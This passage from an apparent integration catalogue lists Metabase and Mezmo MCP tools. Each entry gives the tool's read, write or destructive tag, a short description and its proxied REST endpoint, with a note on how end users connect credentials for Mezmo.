Scopes: api. metabase_put_api_field_by_id (write) — Put field via PUT /api/field/{id} PUT /api/v1/metabase/api/field/{id}. Scopes: api. metabase_put_api_glossary_by_id (write) — Put glossary via PUT /api/glossary/{id} PUT /api/v1/metabase/api/glossary/{id}. Scopes: api. metabase_put_api_google_settings (write) — Put google settings via PUT /api/google/settings PUT /api/v1/metabase/api/google/settings. Scopes: api. metabase_put_api_ldap_settings (write) — Put ldap settings via PUT /api/ldap/settings PUT /api/v1/metabase/api/ldap/settings. Scopes: api. metabase_put_api_measure_by_id (write) — Put measure via PUT /api/measure/{id} PUT /api/v1/metabase/api/measure/{id}. Scopes: api. metabase_put_api_metabot_metabot_by_id (write) — Put metabot metabot via PUT /api/metabot/metabot/{id} PUT /api/v1/metabase/api/metabot/metabot/{id}. Scopes: api. metabase_put_api_metabot_settings (write) — Put metabot settings via PUT /api/metabot/settings PUT /api/v1/metabase/api/metabot/settings. Scopes: api. metabase_put_api_metabot_slack_settings (write) — Put metabot slack settings via PUT /api/metabot/slack/settings PUT /api/v1/metabase/api/metabot/slack/settings. Scopes: api. metabase_put_api_mt_gtap_by_id (write) — Put mt gtap via PUT /api/mt/gtap/{id} PUT /api/v1/metabase/api/mt/gtap/{id}. Scopes: api. metabase_put_api_mt_user_by_id_attributes (write) — Put mt user attributes via PUT /api/mt/user/{id}/attributes PUT /api/v1/metabase/api/mt/user/{id}/attributes. Scopes: api. metabase_put_api_native_query_snippet_by_id (write) — Put native query snippet via PUT /api/native-query-snippet/{id} PUT /api/v1/metabase/api/native-query-snippet/{id}. Scopes: api. metabase_put_api_notification_by_id (write) — Put notification via PUT /api/notification/{id} PUT /api/v1/metabase/api/notification/{id}. Scopes: api. metabase_put_api_osi_ai_context_by_entity_type_by_entity_local_id (write) — Put osi ai context via PUT /api/osi/ai-context/{entity-type}/{entity-local-id} PUT /api/v1/metabase/api/osi/ai-context/{entity_type}/{entity_local_id}. Scopes: api. metabase_put_api_permissions_graph (write) — Put permissions graph via PUT /api/permissions/graph PUT /api/v1/metabase/api/permissions/graph. Scopes: api. metabase_put_api_permissions_group_by_group_id (write) — Put permissions group via PUT /api/permissions/group/{group-id} PUT /api/v1/metabase/api/permissions/group/{group_id}. Scopes: api. metabase_put_api_permissions_membership_by_group_id_clear (write) — Put permissions membership clear via PUT /api/permissions/membership/{group-id}/clear PUT /api/v1/metabase/api/permissions/membership/{group_id}/clear. Scopes: api. metabase_put_api_permissions_membership_by_id (write) — Put permissions membership via PUT /api/permissions/membership/{id} PUT /api/v1/metabase/api/permissions/membership/{id}. Scopes: api. metabase_put_api_pulse_by_id (write) — Put pulse via PUT /api/pulse/{id} PUT /api/v1/metabase/api/pulse/{id}. Scopes: api. metabase_put_api_search_weights (write) — Put search weights via PUT /api/search/weights PUT /api/v1/metabase/api/search/weights. Scopes: api. metabase_put_api_segment_by_id (write) — Put segment via PUT /api/segment/{id} PUT /api/v1/metabase/api/segment/{id}. Scopes: api. metabase_put_api_setting (write) — Put setting via PUT /api/setting PUT /api/v1/metabase/api/setting. Scopes: api. metabase_put_api_setting_by_key (write) — Put setting via PUT /api/setting/{key} PUT /api/v1/metabase/api/setting/{key}. Scopes: api. metabase_put_api_slack_settings (write) — Put slack settings via PUT /api/slack/settings PUT /api/v1/metabase/api/slack/settings. Scopes: api. metabase_put_api_table (write) — Put table via PUT /api/table PUT /api/v1/metabase/api/table. Scopes: api. metabase_put_api_table_by_id (write) — Put table via PUT /api/table/{id} PUT /api/v1/metabase/api/table/{id}. Scopes: api. metabase_put_api_table_by_id_fields_order (write) — Put table fields order via PUT /api/table/{id}/fields/order PUT /api/v1/metabase/api/table/{id}/fields/order. Scopes: api. metabase_put_api_timeline_by_id (write) — Put timeline via PUT /api/timeline/{id} PUT /api/v1/metabase/api/timeline/{id}. Scopes: api. metabase_put_api_timeline_event_by_id (write) — Put timeline event via PUT /api/timeline-event/{id} PUT /api/v1/metabase/api/timeline-event/{id}. Scopes: api. metabase_put_api_transform_by_id (write) — Put transform via PUT /api/transform/{id} PUT /api/v1/metabase/api/transform/{id}. Scopes: api. metabase_put_api_transform_job_active (write) — Put transform job active via PUT /api/transform-job/active PUT /api/v1/metabase/api/transform-job/active. Scopes: api. metabase_put_api_transform_job_by_job_id (write) — Put transform job via PUT /api/transform-job/{job-id} PUT /api/v1/metabase/api/transform-job/{job_id}. Scopes: api. metabase_put_api_transform_tag_by_tag_id (write) — Put transform tag via PUT /api/transform-tag/{tag-id} PUT /api/v1/metabase/api/transform-tag/{tag_id}. Scopes: api. metabase_put_api_user_by_id (write) — Put user via PUT /api/user/{id} PUT /api/v1/metabase/api/user/{id}. Scopes: api. metabase_put_api_user_by_id_modal_by_modal (write) — Put user modal via PUT /api/user/{id}/modal/{modal} PUT /api/v1/metabase/api/user/{id}/modal/{modal}. Scopes: api. metabase_put_api_user_by_id_password (write) — Put user password via PUT /api/user/{id}/password PUT /api/v1/metabase/api/user/{id}/password. Scopes: api. metabase_put_api_user_by_id_reactivate (write) — Put user reactivate via PUT /api/user/{id}/reactivate PUT /api/v1/metabase/api/user/{id}/reactivate. Scopes: api. metabase_put_api_user_key_value_namespace_by_namespace_key_by_key (write) — Put user key value namespace key via PUT /api/user-key-value/namespace/{namespace}/key/{key} PUT /api/v1/metabase/api/user-key-value/namespace/{namespace}/key/{key}. Scopes: api. ================================================================================ ## Mezmo URL: https://www.agenticfabriq.com/integrations/mezmo Section: Integrated Tools Mezmo — 203 MCP tools Provider key: mezmo. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mezmo_delete_v1_config_archiving (write, destructive) — Use this method to delete the archiving configuration. Changes the organization-wide log archive destination. DELETE /api/v1/mezmo/v1/config/archiving. Scopes: api. mezmo_delete_v1_config_board_by_boardid (write, destructive) — Use this method to delete a board. DELETE /api/v1/mezmo/v1/config/board/{boardId}. Scopes: api. mezmo_delete_v1_config_categories_by_type_by_id (write, destructive) — Use this method to delete a category. DELETE /api/v1/mezmo/v1/config/categories/{type}/{id}. Scopes: api. mezmo_delete_v1_config_groups_by_groupid (write, destructive) — Use this method to delete a log group. Changes the organization's role-based access groups. DELETE /api/v1/mezmo/v1/config/groups/{groupId}. Scopes: api. mezmo_delete_v1_config_ingestion_exclusions_by_id (write, destructive) — Use this method to delete an exclusion rule. DELETE /api/v1/mezmo/v1/config/ingestion/exclusions/{id}. Scopes: api. mezmo_delete_v1_config_keys_by_id (write, destructive) — Delete a specific key by its `id`. Changes the organization's shared keys: a deleted or rotated key stops working for everything that uses it. DELETE /api/v1/mezmo/v1/config/keys/{id}. Scopes: api. mezmo_delete_v1_config_members_by_email (write, destructive) — Removes a member from the organization. This does not delete the user. Changes organization membership and roles. DELETE /api/v1/mezmo/v1/config/members/{email}. Scopes: api. mezmo_delete_v1_config_parsing_template_by_templateid (write, destructive) — Use this method to delete a parsing template. DELETE /api/v1/mezmo/v1/config/parsing-template/{templateId}. Scopes: api. mezmo_delete_v1_config_presetalert_by_presetid (write, destructive) — Use this method to delete a preset alert. DELETE /api/v1/mezmo/v1/config/presetalert/{presetId}. Scopes: api. mezmo_delete_v1_config_screen_by_id (write, destructive) — Deletes a screen. DELETE /api/v1/mezmo/v1/config/screen/{id}. Scopes: api. mezmo_delete_v1_config_view_by_viewid (write, destructive) — Use this method to delete a view and any attached alerts. DELETE /api/v1/mezmo/v1/config/view/{viewId}. Scopes: api. mezmo_delete_v1_enterprise_account_by_accountid (write, destructive) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Detaches a child organization from the enterprise. The child organization is not deleted and can continue to work afterwards. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. DELETE /api/v1/mezmo/v1/enterprise/account/{accountId}. Scopes: api. mezmo_delete_v1_enterprise_keys_by_id (write, destructive) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Delete an Enterprise ServiceKey from list of keys for the Enterprise. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. DELETE /api/v1/mezmo/v1/enterprise/keys/{id}. Scopes: api. mezmo_delete_v3_pipeline_account_local_deploy_heartbeat_by_edge_id (write, destructive) — Removes existing Edge heartbeats. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. DELETE /api/v1/mezmo/v3/pipeline/account/local-deploy/heartbeat/{edge_id}. Scopes: api. mezmo_delete_v3_pipeline_by_container_id_source_by_source_id_sample_by_sample_id (write, destructive) — Remove a data sample from the pipeline. DELETE /api/v1/mezmo/v3/pipeline/{container_id}/source/{source_id}/sample/{sample_id}. Scopes: api. mezmo_delete_v3_pipeline_by_pipeline_id (write, destructive) — Removes a pipeline from the account. DELETE /api/v1/mezmo/v3/pipeline/{pipeline_id}. Scopes: api. mezmo_delete_v3_pipeline_by_pipeline_id_by_component_kind_by_component_id_alert_by_alert_id (write, destructive) — Removes an alert attached to a pipeline component. DELETE /api/v1/mezmo/v3/pipeline/{pipeline_id}/{component_kind}/{component_id}/alert/{alert_id}. Scopes: api. mezmo_delete_v3_pipeline_by_pipeline_id_sink_by_pipeline_sink_id (write, destructive) — Remove sink from a pipeline. DELETE /api/v1/mezmo/v3/pipeline/{pipeline_id}/sink/{pipeline_sink_id}. Scopes: api. mezmo_delete_v3_pipeline_by_pipeline_id_source_by_pipeline_source_id (write, destructive) — Removes a source from a pipeline. DELETE /api/v1/mezmo/v3/pipeline/{pipeline_id}/source/{pipeline_source_id}. Scopes: api. mezmo_delete_v3_pipeline_by_pipeline_id_transform_by_pipeline_transform_id (write, destructive) — Removes transform from pipeline. DELETE /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform/{pipeline_transform_id}. Scopes: api. mezmo_delete_v3_pipeline_by_pipeline_id_transform_group_by_pipeline_transform_group_id (write, destructive) — Remove Processor Group from a pipeline. DELETE /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform-group/{pipeline_transform_group_id}. Scopes: api. mezmo_delete_v3_pipeline_by_pipeline_id_usage_threshold_alert_by_usage_threshold_alert_id (write, destructive) — Removes an existing threshold alert. DELETE /api/v1/mezmo/v3/pipeline/{pipeline_id}/usage-threshold-alert/{usage_threshold_alert_id}. Scopes: api. mezmo_delete_v3_pipeline_gateway_route_by_gateway_route_id (write, destructive) — Delete an unused gateway route. If the route is used by any active pipeline, an error will be returned. DELETE /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}. Scopes: api. mezmo_delete_v3_pipeline_gateway_route_by_gateway_route_id_access_key_by_id (write, destructive) — Delete an access key. Changes the secrets pipeline ingress accepts for this shared source; a new key is returned once. DELETE /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}/access-key/{id}. Scopes: api. mezmo_delete_v3_pipeline_gateway_route_by_gateway_route_id_signing_key_by_id (write, destructive) — Removes a signing key attached to a gateway route. Changes the secrets pipeline ingress accepts for this shared source; a new key is returned once. DELETE /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}/signing-key/{id}. Scopes: api. mezmo_delete_v3_transform_group_by_transform_group_id (write, destructive) — Delete a Processor Group. DELETE /api/v1/mezmo/v3/transform-group/{transform_group_id}. Scopes: api. mezmo_delete_v3_transform_group_by_transform_group_id_transform_by_transform_group_transform_id (write, destructive) — Delete a Processor from a Processor Group. DELETE /api/v1/mezmo/v3/transform-group/{transform_group_id}/transform/{transform_group_transform_id}. Scopes: api. mezmo_get_v1_config_archiving (read) — Use this method to get an existing archiving configuration. GET /api/v1/mezmo/v1/config/archiving. Scopes: api. mezmo_get_v1_config_board (read) — Get a list of boards. GET /api/v1/mezmo/v1/config/board. Scopes: api. mezmo_get_v1_config_board_by_boardid (read) — Gets the configuration for a specific board. GET /api/v1/mezmo/v1/config/board/{boardId}. Scopes: api. mezmo_get_v1_config_categories_by_type (read) — Returns all Categories of a type. GET /api/v1/mezmo/v1/config/categories/{type}. Scopes: api. mezmo_get_v1_config_categories_by_type_by_id (read) — Get a specific category. GET /api/v1/mezmo/v1/config/categories/{type}/{id}. Scopes: api. mezmo_get_v1_config_groups (read) — Use this method to list the log groups. GET /api/v1/mezmo/v1/config/groups. Scopes: api. mezmo_get_v1_config_groups_by_groupid (read) — Use this method to get information on a group. GET /api/v1/mezmo/v1/config/groups/{groupId}. Scopes: api. mezmo_get_v1_config_index_rate (read) — Gets the configuration for an Index Rate Alert. GET /api/v1/mezmo/v1/config/index-rate. Scopes: api. mezmo_get_v1_config_ingestion_exclusions (read) — Returns a list of exclusion rules. Note: This does not return usage quota rules. GET /api/v1/mezmo/v1/config/ingestion/exclusions. Scopes: api. mezmo_get_v1_config_ingestion_exclusions_by_id (read) — Returns an exclusion rule with the id specified. GET /api/v1/mezmo/v1/config/ingestion/exclusions/{id}. Scopes: api. mezmo_get_v1_config_ingestion_status (read) — Retrieve the status of ingestion. GET /api/v1/mezmo/v1/config/ingestion/status. Scopes: api. mezmo_get_v1_config_keys (read) — Retrieve a list of all the keys for an account. Supported key types include `ingestion` and `service`. Use the `type` parameter to filter which type of keys to retrieve. GET /api/v1/mezmo/v1/config/keys. Scopes: api. mezmo_get_v1_config_keys_by_id (read) — Retrieves a specific key by its `id`. GET /api/v1/mezmo/v1/config/keys/{id}. Scopes: api. mezmo_get_v1_config_members (read) — Retrieves all of the current members in an organization and returns their email, role, and groups. GET /api/v1/mezmo/v1/config/members. Scopes: api. mezmo_get_v1_config_members_by_email (read) — Returns the role and groups of the specified member. GET /api/v1/mezmo/v1/config/members/{email}. Scopes: api. mezmo_get_v1_config_parsing_template (read) — Get a list of custom parsing templates. GET /api/v1/mezmo/v1/config/parsing-template. Scopes: api. mezmo_get_v1_config_parsing_template_by_templateid (read) — Gets the configuration for a specific parsing template. GET /api/v1/mezmo/v1/config/parsing-template/{templateId}. Scopes: api. mezmo_get_v1_config_presetalert (read) — Returns all Preset Alerts in the account. GET /api/v1/mezmo/v1/config/presetalert. Scopes: api. mezmo_get_v1_config_presetalert_by_presetid (read) — Get a specific preset alert. GET /api/v1/mezmo/v1/config/presetalert/{presetId}. Scopes: api. mezmo_get_v1_config_screen (read) — List all screens in a short form that only includes the screen id and title. GET /api/v1/mezmo/v1/config/screen. Scopes: api. mezmo_get_v1_config_screen_by_id (read) — Retrieve a specific screen. GET /api/v1/mezmo/v1/config/screen/{id}. Scopes: api. mezmo_get_v1_config_view (read) — Get a list of views. GET /api/v1/mezmo/v1/config/view. Scopes: api. mezmo_get_v1_config_view_by_viewid (read) — Gets the configuration for a specific view. GET /api/v1/mezmo/v1/config/view/{viewId}. Scopes: api. mezmo_get_v1_enterprise_account (read) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Retrieves a list of all child organizations that belong to the enterprise. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. GET /api/v1/mezmo/v1/enterprise/account. Scopes: api. mezmo_get_v1_enterprise_account_by_accountid (read) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Retrieves a specific child organization by its id. If the organization does not belong to the enterprise, a 404 error is returned. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. GET /api/v1/mezmo/v1/enterprise/account/{accountId}. Scopes: api. mezmo_get_v1_enterprise_keys (read) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Retrieves all keys of the enterprise. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. GET /api/v1/mezmo/v1/enterprise/keys. Scopes: api. mezmo_get_v1_enterprise_keys_by_id (read) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Retrieves a specific enterprise key by its `id`. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. GET /api/v1/mezmo/v1/enterprise/keys/{id}. Scopes: api. mezmo_get_v1_export (read) — Use this method to export logs in JSON format from a logging instance. GET /api/v1/mezmo/v1/export. Scopes: api. mezmo_get_v1_usage_apps (read) — Lists aggregated usage information for all apps during a time period. GET /api/v1/mezmo/v1/usage/apps. Scopes: api. mezmo_get_v1_usage_apps_by_name (read) — Gets the aggregated usage information for an app matching the name provided as a path parameter, during a time period. Returns null when not found. GET /api/v1/mezmo/v1/usage/apps/{name}. Scopes: api. mezmo_get_v1_usage_hosts (read) — Lists aggregated usage information for all hosts during a time period. GET /api/v1/mezmo/v1/usage/hosts. Scopes: api. mezmo_get_v1_usage_hosts_by_name (read) — Gets the aggregated usage information for a host matching the name provided as a path parameter, during a time period. Returns null when not found. GET /api/v1/mezmo/v1/usage/hosts/{name}. Scopes: api. mezmo_get_v1_usage_tags (read) — Lists aggregated usage information for all tags during a time period. GET /api/v1/mezmo/v1/usage/tags. Scopes: api. mezmo_get_v1_usage_tags_by_name (read) — Gets the aggregated usage information for a tag matching the name provided as a path parameter, during a time period. Returns null when not found. GET /api/v1/mezmo/v1/usage/tags/{name}. Scopes: api. mezmo_get_v2_export (read) — Use this method to export logs in JSON format from a logging instance. GET /api/v1/mezmo/v2/export. Scopes: api. mezmo_get_v2_usage (read) — Get aggregated usage information for an account's data during a time period. GET /api/v1/mezmo/v2/usage. Scopes: api. mezmo_get_v2_usage_apps (read) — Lists aggregated usage information for all apps during a time period. GET /api/v1/mezmo/v2/usage/apps. Scopes: api. mezmo_get_v2_usage_apps_by_name (read) — Gets the aggregated usage information for an app matching the name provided as a path parameter during a time period. The `results` will either have a singular item, or be an empty array. GET /api/v1/mezmo/v2/usage/apps/{name}. Scopes: api. mezmo_get_v2_usage_hosts (read) — Lists aggregated usage information for all hosts during a time period. GET /api/v1/mezmo/v2/usage/hosts. Scopes: api. mezmo_get_v2_usage_hosts_by_name (read) — Gets the aggregated usage information for a host matching the name provided as a path parameter during a time period. The `results` will either have a singular item, or be an empty array. GET /api/v1/mezmo/v2/usage/hosts/{name}. Scopes: api. mezmo_get_v2_usage_tags (read) — Lists aggregated usage information for all tags during a time period. GET /api/v1/mezmo/v2/usage/tags. Scopes: api. mezmo_get_v2_usage_tags_by_name (read) — Gets the aggregated usage information for a tag matching the name provided as a path parameter during a time period. The `results` will either have a singular item, or be an empty array. GET /api/v1/mezmo/v2/usage/tags/{name}. Scopes: api. mezmo_get_v3_ai_history_investigation (read) — Retrieve a list of AI investigations for the account. GET /api/v1/mezmo/v3/ai-history/investigation. Scopes: api. mezmo_get_v3_ai_history_investigation_by_investigation_id (read) — Retrieve a specific AI investigation by its ID. GET /api/v1/mezmo/v3/ai-history/investigation/{investigation_id}. Scopes: api. mezmo_get_v3_enterprise (read) — Get an Enterprise and its child Accounts. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. GET /api/v1/mezmo/v3/enterprise. Scopes: api. mezmo_get_v3_enterprise_account_by_account_id (read) — Retrieve a specific child account under an enterprise organization. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. GET /api/v1/mezmo/v3/enterprise/account/{account_id}. Scopes: api. mezmo_get_v3_enterprise_pipeline (read) — Get pipelines for all child organizations of an enterprise. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. GET /api/v1/mezmo/v3/enterprise/pipeline. Scopes: api. mezmo_get_v3_enterprise_pipeline_metric_health (read) — Get pipeline health metrics for all child organizations of an enterprise. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. GET /api/v1/mezmo/v3/enterprise/pipeline/metric/health. Scopes: api. mezmo_get_v3_enterprise_pipeline_metric_usage (read) — Get pipeline usage metrics for all child organizations of an enterprise. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. GET /api/v1/mezmo/v3/enterprise/pipeline/metric/usage. Scopes: api. mezmo_get_v3_enterprise_pipeline_node (read) — Get pipeline node types, operators and alert schemas. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. GET /api/v1/mezmo/v3/enterprise/pipeline/node. Scopes: api. mezmo_get_v3_pipeline (read) — List all pipelines for the account. GET /api/v1/mezmo/v3/pipeline. Scopes: api. mezmo_get_v3_pipeline_account (read) — Get list of settings applied to an account. GET /api/v1/mezmo/v3/pipeline/account. Scopes: api. mezmo_get_v3_pipeline_account_local_deploy_config (read) — Gets client configuration for Edge pipelines. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. GET /api/v1/mezmo/v3/pipeline/account/local-deploy/config. Scopes: api. mezmo_get_v3_pipeline_account_local_deploy_heartbeat (read) — List all Edge check-ins for the account. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. GET /api/v1/mezmo/v3/pipeline/account/local-deploy/heartbeat. Scopes: api. mezmo_get_v3_pipeline_account_local_deploy_tasks (read) — Poll and claim available local deployment tasks for a pipeline. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. GET /api/v1/mezmo/v3/pipeline/account/local-deploy/tasks. Scopes: api. mezmo_get_v3_pipeline_audit_event (read) — Retrieve a paginated list of pipeline audit events for an account. GET /api/v1/mezmo/v3/pipeline/audit-event. Scopes: api. mezmo_get_v3_pipeline_by_container_id_source_by_source_id_sample (read) — Returns a list of data samples that exist in the pipeline. GET /api/v1/mezmo/v3/pipeline/{container_id}/source/{source_id}/sample. Scopes: api. mezmo_get_v3_pipeline_by_container_id_source_by_source_id_sample_by_sample_id (read) — Returns a data sample. GET /api/v1/mezmo/v3/pipeline/{container_id}/source/{source_id}/sample/{sample_id}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id (read) — Retrieve a pipeline configuration. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_alert (read) — List of alerts attached to a pipeline's components. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/alert. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_alert_by_alert_id (read) — Retrieves an alert attached to a pipeline component. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/alert/{alert_id}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_event_metrics (read) — Query and fetch event metrics for a pipeline. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/event_metrics. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_revision (read) — Returns a list of revisions that exist in the pipeline. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/revision. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_revision_by_pipeline_revision_lookup (read) — Returns a pipeline configuration from a particular version. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/revision/{pipeline_revision_lookup}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_sink_by_pipeline_sink_id (read) — Fetch a sink configuration of a pipeline. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/sink/{pipeline_sink_id}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_source_by_pipeline_source_id (read) — Fetches configuration of a source. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/source/{pipeline_source_id}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_transform_by_pipeline_transform_id (read) — Fetch transform configuration. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform/{pipeline_transform_id}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_transform_by_pipeline_transform_id_classifier_analysis (read) — Fetch classifier analysis for a pipeline transform. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform/{pipeline_transform_id}/classifier/analysis. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_transform_group_by_pipeline_transform_group_id (read) — Fetch Processor Group in a pipeline. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform-group/{pipeline_transform_group_id}. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_usage_threshold_alert (read) — Returns configuration of existing threshold alerts. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/usage-threshold-alert. Scopes: api. mezmo_get_v3_pipeline_by_pipeline_id_usage_threshold_alert_by_usage_threshold_alert_id (read) — Returns usage threshold configuration. GET /api/v1/mezmo/v3/pipeline/{pipeline_id}/usage-threshold-alert/{usage_threshold_alert_id}. Scopes: api. mezmo_get_v3_pipeline_classifier_analysis (read) — Retrieve information about a classification of a shared source. GET /api/v1/mezmo/v3/pipeline/classifier/analysis. Scopes: api. mezmo_get_v3_pipeline_classifier_by_analysis_id_fields (read) — Get Field Summary for an analysis. GET /api/v1/mezmo/v3/pipeline/classifier/{analysis_id}/fields. Scopes: api. mezmo_get_v3_pipeline_classifier_by_analysis_id_fields_by_field_name (read) — Get Field Summary values for a field in an analysis. GET /api/v1/mezmo/v3/pipeline/classifier/{analysis_id}/fields/{field_name}. Scopes: api. mezmo_get_v3_pipeline_gateway_route (read) — List all of the shareable gateway routes for an account. GET /api/v1/mezmo/v3/pipeline/gateway-route. Scopes: api. mezmo_get_v3_pipeline_gateway_route_by_gateway_route_id (read) — Retreive a gateway route. GET /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}. Scopes: api. mezmo_get_v3_pipeline_grok_pattern (read) — Retrieves a list of grok patterns available to use. GET /api/v1/mezmo/v3/pipeline/grok-pattern. Scopes: api. mezmo_get_v3_pipeline_health (read) — Returns overall ingestion health as well as pipeline-specific health, such as lag in a pipeline's sources. GET /api/v1/mezmo/v3/pipeline/health. Scopes: api. mezmo_get_v3_pipeline_metric_health (read) — Query and fetch health information for the current account. GET /api/v1/mezmo/v3/pipeline/metric/health. Scopes: api. mezmo_get_v3_pipeline_metric_usage (read) — Query and fetch usage metrics for the current account. GET /api/v1/mezmo/v3/pipeline/metric/usage. Scopes: api. mezmo_get_v3_pipeline_metric_usage_profile (read) — Query and fetch usage metrics from data profiling. GET /api/v1/mezmo/v3/pipeline/metric/usage/profile. Scopes: api. mezmo_get_v3_pipeline_metric_usage_profile_log_clustering (read) — Query and fetch log clustering usage metrics from data profiling. GET /api/v1/mezmo/v3/pipeline/metric/usage/profile/log-clustering. Scopes: api. mezmo_get_v3_pipeline_metric_usage_profile_log_clustering_samples (read) — Query and fetch log cluster samples from data profiling. GET /api/v1/mezmo/v3/pipeline/metric/usage/profile/log-clustering/samples. Scopes: api. mezmo_get_v3_pipeline_node (read) — A list of all available nodes for use when creating pipelines. GET /api/v1/mezmo/v3/pipeline/node. Scopes: api. mezmo_get_v3_pipeline_state_variable (read) — List all state variables defined in the account. GET /api/v1/mezmo/v3/pipeline/state-variable. Scopes: api. mezmo_get_v3_pipeline_state_variable_by_state_variable_id (read) — Fetches the value of a state variable. GET /api/v1/mezmo/v3/pipeline/state-variable/{state_variable_id}. Scopes: api. mezmo_get_v3_pipeline_to_manifest_by_pipeline_id (read) — Export a SaaS pipeline to a portable YAML or JSON manifest. Requires pipeline:read. GET /api/v1/mezmo/v3/pipeline/to-manifest/{pipeline_id}. Scopes: api. mezmo_get_v3_pipeline_transform_classifier_analysis (read) — Fetch transform classifier analyses. GET /api/v1/mezmo/v3/pipeline/transform/classifier/analysis. Scopes: api. mezmo_get_v3_transform_group (read) — List all Processor Groups for the account. GET /api/v1/mezmo/v3/transform-group. Scopes: api. mezmo_get_v3_transform_group_by_transform_group_id (read) — Get a Processor Group. GET /api/v1/mezmo/v3/transform-group/{transform_group_id}. Scopes: api. mezmo_get_v3_transform_group_by_transform_group_id_revision (read) — List all Processor Group revisions. GET /api/v1/mezmo/v3/transform-group/{transform_group_id}/revision. Scopes: api. mezmo_get_v3_transform_group_by_transform_group_id_revision_by_transform_group_revision_lookup (read) — Fetch Processor Group revision. GET /api/v1/mezmo/v3/transform-group/{transform_group_id}/revision/{transform_group_revision_lookup}. Scopes: api. mezmo_get_v3_transform_group_by_transform_group_id_transform_by_transform_group_transform_id (read) — Get a Processor from a Processor Group. GET /api/v1/mezmo/v3/transform-group/{transform_group_id}/transform/{transform_group_transform_id}. Scopes: api. mezmo_patch_v1_config_groups_by_groupid (write) — Use this method to modify a log group. You can change the name of the group and the access scope that defines the data that is accessible by members in that group. Changes the organization's role-based access groups. PATCH /api/v1/mezmo/v1/config/groups/{groupId}. Scopes: api. mezmo_patch_v1_config_ingestion_exclusions_by_id (write) — Updates an existing exclusion rule. PATCH /api/v1/mezmo/v1/config/ingestion/exclusions/{id}. Scopes: api. mezmo_patch_v3_enterprise_account (write) — Perform bulk operations (CREATE, UPDATE, DELETE) on Enterprise Accounts. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. PATCH /api/v1/mezmo/v3/enterprise/account. Scopes: api. mezmo_patch_v3_enterprise_account_by_account_id_attach (write) — Moves an existing individual customer account under the owner ship of an existing enterprise with the option to change its direct owner. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. PATCH /api/v1/mezmo/v3/enterprise/account/{account_id}/attach. Scopes: api. mezmo_patch_v3_enterprise_account_by_account_id_detach (write) — Removes a specific account from under an enterprise making it an independant account. The account will be downgraded to a trial account once the process is complete. Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. PATCH /api/v1/mezmo/v3/enterprise/account/{account_id}/detach. Scopes: api. mezmo_patch_v3_pipeline_account (write) — Update account settings. PATCH /api/v1/mezmo/v3/pipeline/account. Scopes: api. 